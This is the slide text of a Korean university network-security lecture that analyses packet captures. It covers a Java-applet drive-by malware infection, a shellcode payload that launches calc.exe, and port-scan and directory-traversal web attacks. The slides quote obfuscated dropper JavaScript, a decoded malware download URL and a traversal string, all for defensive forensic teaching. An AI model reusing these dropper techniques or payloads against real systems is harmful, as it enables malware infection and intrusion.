Network Security and Policy 2014. 04. 28 Jae Dong Lee SeoulTech (jdlee731@seoultech.ac.kr)
Table of Contents Java applet malicious code Packet Analyze Shell code Packet Analyze Web hacking Packet Analyze 2
자바애플릿악성코드패킷분석 Java applet malicious code Packet Analyze by wireshark
Java applet? 자바언어로작성된소프트웨어 애플릿이라고명명 크기가작아서네트워크전송에적합 World Wide Web 을사용하여배포가능 자바애플릿은사전에컴파일하여웹서버에등록 웹에서사용하는표준데이터형식인 HTML 로작성한문서에애플릿이라는태그를사용하여자바애플릿을지정 자바애플릿을동작시키는데는자바가상머신을내장한웹브라우저가필요 브라우저는불러내온문서속에애플릿이라는태그가있으면, 지정된자바애플릿을웹서버로부터내려받아실행 최근에애플릿을이용하여사용자에게악성코드를감염시키는사례가발생하고있다. 웹페이지에숨겨진자바애플릿을통해악성코드가감염되는과정과해당코드를분석하는과정을수행 4
Java applet malicious code analyze Chapter_12.pcap [statistics] [conversations] 5
Java applet malicious code analyze [Follow Stream] 을통해각세션별분석 6
1st session function ararata(reem, aanpry){ reem.replace(/r00ts/g,aanpry) } 7
2nd session HTTP 를암호화한 HTTPS( 암호화상태라내용無 ) 8
3rd session 특정페이지에접속을시도 ( 서버는존재하지않는페이지로응답 404 error) 9
4th session(1/6) 자바실행파일인 sdfg.jar 를요청하여다운 10
4th session(2/6) Sdfg.jar 파일을추출해내기위해 ~PK( 시그니처 ) 윗부분제거후저장 11
4th session(3/6) * 각클래스파일은 JAD 로디컴파일하여본다. 파일 Applet.class LoadX.class PX.class 역할 Data 및 cc 라는파라미터값을외부에서입력받고, 두번째클래스인 LoadX.class 를로딩하는역할 전달받은 data 와 cc 라는파라미터를 PX,class 로전달하고, PX.class 를로딩하는역할 전달받은 data 는악성코드가존재하는도메인을 cc 는악성코드개수를의미하며, 해당값을이용하여사용자의임시디렉토리에악성코드 exe 를다운로드시키는역할 12
4th session(4/6) - Applet.class getparameter 는사용자로부터입력받기위한함수이며, 입력받은 data 와 cc 값을 LoadX 클래스의 bootstrappayload 로전달 13
4th session(5/6) - LoaderX.class bootstrappayload 메소드의파라미터 string s, string s1 은 Applet.class 에서전달되온 data 및 cc 값이전달 Inputstream 으로 /myf/y/px.class 파일을 read data 및 cc 파라미터값을 PX.class 로전달 14
4th session(6/6) - PX.class System.getProperty( java.io.tmpdir ) 를통해 c:\windows\tmp\ 밑에악성코드생성 악성코드는 Runtime.getRuntime().exec() 를통해실행 15
5 th session 자바실행파일인 q.jar 를다운후추출 ( 추출과정동일 ) 16
5 th session - Save as 를통해추출한파일을 HxD 를통하여시그니처앞부분은제거한다..JAR 파일의압축을푼다. JAD( 자바디컴파일러 ) 로 open 한다. 파일 Main.class AppletPanel.class 역할 사용자의 OS 및자바버전확인및파라미터, s, s1, s2 를 ApplicationPanel 로전달하는역할 Data 및 cc 라는파라미터값을외부에서입력받고, 두번째클래스인 LoadX.class 를로딩하는역할 17
5 th session Main.class 파라미터 s, s1, s2 를 ApplicationPanel.class 로전달 18
6 th session MZ 는 exe 파일의 Magic Number(4D 5A) UPX 로패킹되어있음을알수있음 19
자바애플릿악성코드패킷분석 Java applet malicious code Packet Analyze by NetworkMiner
NetworkMiner 21
NetworkMiner 1. GET / true.php 접속 2. GET / xxx.xxx 자바스크립트함수가보임 3. HTTPS 접속 접속 4. GET /favicon.ico 접속그러나 404 리터 5. GET / sdfg.jar sdfg.jar 다운로드 6. GET /g.jar g.jar 다운로드 22
NetworkMiner 7. GET //loading.php?spl=javadnw&j050006010 file.exe 다운로드 8. GET //loading.php?spl=javad0 HTTP/1.1 file.exe 다운로드 9. 444번포트로접속 10. GET /11111/gate.php 접속 23
NetworkMiner true.php.html 을선택후 [open folder] 24
NetworkMiner true.php.html Line 3 자바스크립트로특정페이지를호출 (xxx.xxx) Line 15 난독화 QYDCtrO3jhsZAwQE = eval Line 16 난독화 FMsXHWkm3otEzXWe = unescape 25
NetworkMiner true.php.html & xxx Var aglavand = ararata(bbsa, VsSdAy); Aglavand = unescape(aglavand); ); reem.replace(/r00ts/g,aanpry) reem.replace(/r00ts/g,%) 26
NetworkMiner true.php.html True.php.html 에담겨있는인코딩된코드 27
NetworkMiner true.php.html r00ts 문자열을 % 로변환 28
NetworkMiner 인코딩된코드디코딩 해당코드를 2 회디코드 (http://meyerweb.com/eric/tools/dencoder/) 클래스 ID 확인 PDF 관련버전조건에따른분기 (http://nrtjo.eu 에접속하는코드 ) 29
NetworkMiner QYDCtrO3jhsZAwQE('v'+'ar p'+'w'+'dzra'+'a = d'+'oc'+'um'+fmsxhwkm3otezxwe('%65%6e%74')); eval('v'+'ar p'+'w'+'dzra'+'a = d'+'oc'+'um'+unescape('%65%6e%74')); eval('v'+'ar p'+'w'+'dzra'+'a = d'+'oc'+'um'+ent); var pwdzraa = document pwdzraa.write('<'+'s'+fmsxhwkm3otezxwe('%63%72%69%70%74%3 e')); document.write ('<'+'s'+unescape('%63%72%69%70%74%3e')); document.write ('<'+'s'+cript>); pwdzraa.write('v'+'ar kkrzbf2lwtu8qll0 = FMsXHWkm3otEzXWe(ag'+'la'+'va'+'nd); QYDCtrO3jhsZAwQE('+'kkrzbF2Lwtu8qLL0);</s'+'c'+'ri'+'p'+'t>'); 30
NetworkMiner pwdzraa.write('v'+'ar kkrzbf2lwtu8qll0 = FMsXHWkm3otEzXWe(ag'+'la'+'va'+'nd); document.write( var kkrzbf2lwtu8qll0 = unescape(aglavand); QYDCtrO3jhsZAwQE('+'kkrzbF2Lwtu8qLL0);</s'+'c'+'ri'+'p'+'t>'); eval(kkrzbf2lwtu8qll0);</script> ); 결과적으로이런코드가됨 <script> var aglavand = ararata(bbsa, VsSdAy); aglavand = unescape(aglavand); var kkrzbf2lwtu8qll0 = unescape(aglavand) eval(kkrzbf2lwtu8qll0);</script> ); </script> 31
NetworkMiner true.php.html kkrzbf2lwtu8qll0 는 aglavand 즉, ararata() 함수를실행하는코드임 해당함수를통해얻은정보는 PDF 버전에따라 nrtjo.eu 로접속한다는사실도알수있음 그러나웹사이트접속흔적에는 http://nrtjo.eu//pdf.?spl=ie 접속흔적이없으므로 PDF 버전에해당조건에맞지않음을알수있음. Sdfg.jar, q.jar 은 true.php 에서발생 32
NetworkMiner q.jar(main.class) 두번째 applet 의 16 진수형태로보이는부분분석 q.jar 의 main.class 내용 Hex to Ascii 변환 (http://www.asciitohex.com/) 687474703a2f2f6e72746a6f2e65752f2f6c6f6164696e672e706 8703f73706c3d6a617661646e7726(16 진수 ) http://nrtjo.eu//loading.php?spl=javadnw&(ascii) 33
Summary (1/2) 최초 ture.php 에접속 해당페이지에는 xxx.xxx 자바스크립트함수가포함된페이지를호출 #1 PDF 조건 x 실패 #2,3 코드에접속 34
Summary (2/2) True.php 에의해 sdfg.jar 와 q.jar 를다운 Jar 파일을통해 2 개의경로에서악성코드 file.exe 를다운 - http://nrtjo.eu/loading.php?spl=javadnw&j0500006010 - http://nrtjo.eu/loading.php?spl=javad0 악성코드는 file.exe 를통해원격지서버의 444 번포트로접속했을것으로추정 35
압축파일에대한바이러스테스트 Virus Test in Compressed File
Virus Test in Compressed File(1/3) 정상적인프로그램을 UPX 유틸로압축하여바이러스여부를평가할수있는사이트에서의반응확인 Notepad.exe 파일을 upx.exe 가잇는위치로복사 upx o [ 패킹할파일명 ] [ 패킹대상파일 ] 37
Virus Test in Compressed File(2/3) Virus total 에접속후 upx-notepad.exe 파일스캔 38
Virus Test in Compressed File(3/3) 일부스캔결과악성으로 평가되기도함. 39
쉘코드패킷분석 Shellcode Packet Analyse
Shell code In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode. Because the function of a payload is not limited to merely spawning a shell, some have suggested that the name shellcode is insufficient. Shellcode is commonly written in machine code. 쉘코드의역할을메모리의특정공간의시스템명령을상주시키고, EIP 값등을변조하여원하는주소로분기하고시스템명령을실행하는것 패킷내에포함된쉘코드를어셈블리어코드로변환하여분석진행 41
42
1 st session GET 방식으로 update.alyac.co.kr:6969 로접속 알약의패턴업데이트요청으로보임 43
이것또한알약업데이트관련 2 nd session 44
3 rd and 4 th session [SYN] 요청은있으나, 서버응답은없음 45
5 th session 윈도우쉘 cmd.exe 문자열확인가능 Hex 값 90 은 NOP 를의미 보통버퍼오버플로우공격시공격문자열의길이를맞추기위해사용 46
5 th session 47
어셈블리어코드로변환하기위한 0x, 쉼표, 공백제거 48
Hex 어셈블리어코드 ( 시그윈에서 shellcodedecode.pl 을통해 )./ShellCodeDecode.pl < attack.txt > output.txt 바이너리 ( 실행파일 ) 코드를어셈블리코드로변환 (ndisasm) Ndisasm b output.txt more Jmp ShellCode StackExcute { WinExec() 함수실행 ExitProcess() 함수실행 } ShellCode { Call StackExcute Cmd.exe /c calc.exe } 2 1 1 2 Jmp ShellCode 명령을통해 ShellCode() 함수로이동 stackexcute() 함수호출 WinExec() 와 ExitProcess() 를통해계산기프로그램을실행하고종료 49
웹해킹패킷분석 Web hacking Packet Analyze
웹해킹은웹사이트취약점을공경하는기술적위협으로웹페이지를통하여권한이없는시스템에접근하거나데이터유출및파괴하는행위를일컫음. 검색엔진을이용한정보유출과웹애플리케이션프로그램취약점을이용한해킹등이있음. 포트스캔및웹해킹에사용되는여러접속패턴에대한성공여부를판단해보는방법학습 51
[statistics]-[conversations]-[port B] 로정렬 다양한포트에차례대로접근 포트스캔흔적 52
필터링정책만들기 (Expression 버튼클릭 ) 직접입력도가능 53
80 번포트를제외한포트스캔성공대상분석 tcp.dstport!= 80&tcp.srcport!= 80 80 번포트를제외한포트검색을위해목적지, 발신지포트에서 80 제외 tcp.flags.syn == 1 && tcp.flags.ack == 1 TCP 포트스캔접속의성공은 3 way handshaking 과정이있어야함 Syn 과 ack 플래그정보를입력 tcp.dstport!= 80&tcp.srcport!= 80 && tcp.flags.syn == 1 && tcp.flags.ack == 1 결과무포트스캔은실패로간주할수있음. 54
80 번포트를제외한포트스캔실패분석 오픈되어있지않은포트접속시 TCP 에서는 RESET 과 ACK 플래그를세팅하여응답함 tcp.dstport!= 80&& tcp.flags.reset == 1 && tcp.flags.ack == 1&& tcp.srcport!= 80 모든포트접속거절 55
80 번포트공격유형분석 tcp.dstport == 80 tcp.srcport == 80 56
80 번포트공격유형분석 공격유형확인 [Analyze] [Expert Info Composite] Chat (grey) : 플래그를가진 TCP Note (cyan): HTTP 404 와같은에러정보 Warn(yello): 연결문제와가은비정사적인정보 Error(red): 손상된패킷정보 57
324 번라인의공격문자열은 GET /..%5C..%5C..%5C.. 58
References 최경철, Network Packet Forensic, Secubook 바이러스토탈, Virustotal.org
Q & A